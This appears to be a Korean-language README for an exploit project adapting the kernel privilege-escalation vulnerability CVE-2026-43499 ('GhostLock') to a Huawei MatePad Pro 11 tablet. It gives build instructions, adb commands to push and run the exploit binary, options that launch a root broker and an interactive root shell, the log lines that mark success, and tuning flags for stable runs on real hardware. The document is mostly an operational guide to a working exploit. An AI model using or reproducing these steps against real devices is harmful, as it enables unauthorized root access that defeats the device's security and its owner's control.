
HUAWEI MatePad Pro 11 GOT-W29에 대한 CVE-2026-43499 (GhostLock) 연구
HUAWEI MatePad Pro 11(GOT-W29, SM8250 / Snapdragon 870, HarmonyOS 4.x,
커널 4.19.157-perf+)의 CVE-2026-43499 권한 상승 적응.
현재 상태:
u:r:shell:s0 유지@gl_surandom/uuid ctl_table을 사용하며 boot_id와 ashmem 노드를 수정하지 않음u:r:kernel:s0 + full caps)는 여전히 TODO전체 원리, 오프셋, 실패 모드 및 이력은 TECHNICAL.md를 참조하십시오.
cd exploit/ghostlock-source
make -j3
산출물:
exploit/ghostlock-source/build/bin/ghostlock_exe
현재 머신은 NDK sysroot + host clang 크로스 컴파일을 사용하며, 자세한 내용은 exploit/ghostlock-source/TOOLCHAIN.md를 참조.
adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe
A 경로 broker 실행:
adb shell /data/local/tmp/ghostlock_exe \
--su-server --simple-root --fake-lock-window \
--detach --probe-cycle --no-rt --attempts 1 \
--leak-timeout 60 --fsync \
--log-file /sdcard/ghostlock-su.log
성공 시 로그에 포함되는 내용:
simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su
다른 adb shell에서 실행:
adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh '你的命令'
대화형 root shell은 반드시 -t를 사용해야 합니다:
adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell
broker가 셸에 실제 제어 터미널을 할당하므로 tty는 /dev/pts/N을 표시해야 하며,
Ctrl-C, 방향키, jobs 및 포그라운드/백그라운드 전환이 모두 정상적으로 작동합니다.
--fake-lock-window와 --detach는 현재 실기기에서 안전하게 실행하기 위한 핵심 매개변수입니다.--hold를 사용하지 마십시오. 이미 dangling waiter를 소비한 worker를 kill -9로 직접 종료하지 마십시오.--attempts 1을 유지하십시오.--verify-write, --verify-read, --verify-all은 boot_id 쓰기 원시 연산 자체 점검으로,
boot_id high 8바이트를 오염시키므로 QEMU에서만 또는 위험을 명확히 감수할 때만 실행해야 합니다.--escalate를 A 경로 대신 사용하지 마십시오. 이는 B 경로 연구용으로 남겨두었으며 cred 수명 주기 위험이 있습니다.cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'
QEMU 세부 사항은 tools/qemu-test/README.md를 참조하십시오.
목표: u:r:kernel:s0 및 전체 capability 획득.
해결할 사항:
--simple-root A 경로 권한 상승
--su-server root broker 시작
--rsh CMD 단일 명령 실행
--rsh-shell 전체 PTY 대화형 shell
--fake-lock-window 스택 내부 전용 fake lock 사용(실기기 권장)
--detach 이미 소비된 waiter의 worker를 영구적으로 유지
--probe-cycle 현재 커널에서 안정적인 EDEADLK 트리거 방식
--no-rt RT waiter가 CFS를 기아 상태로 만들지 않도록 방지
--attempts 1 실기기 실패 시 재시도하지 않음
--log-file PATH 영구 로그
--fsync final-result 쓰기를 디스크에 반영
--help로 모든 자체 점검 및 연구 매개변수를 나열할 수 있습니다.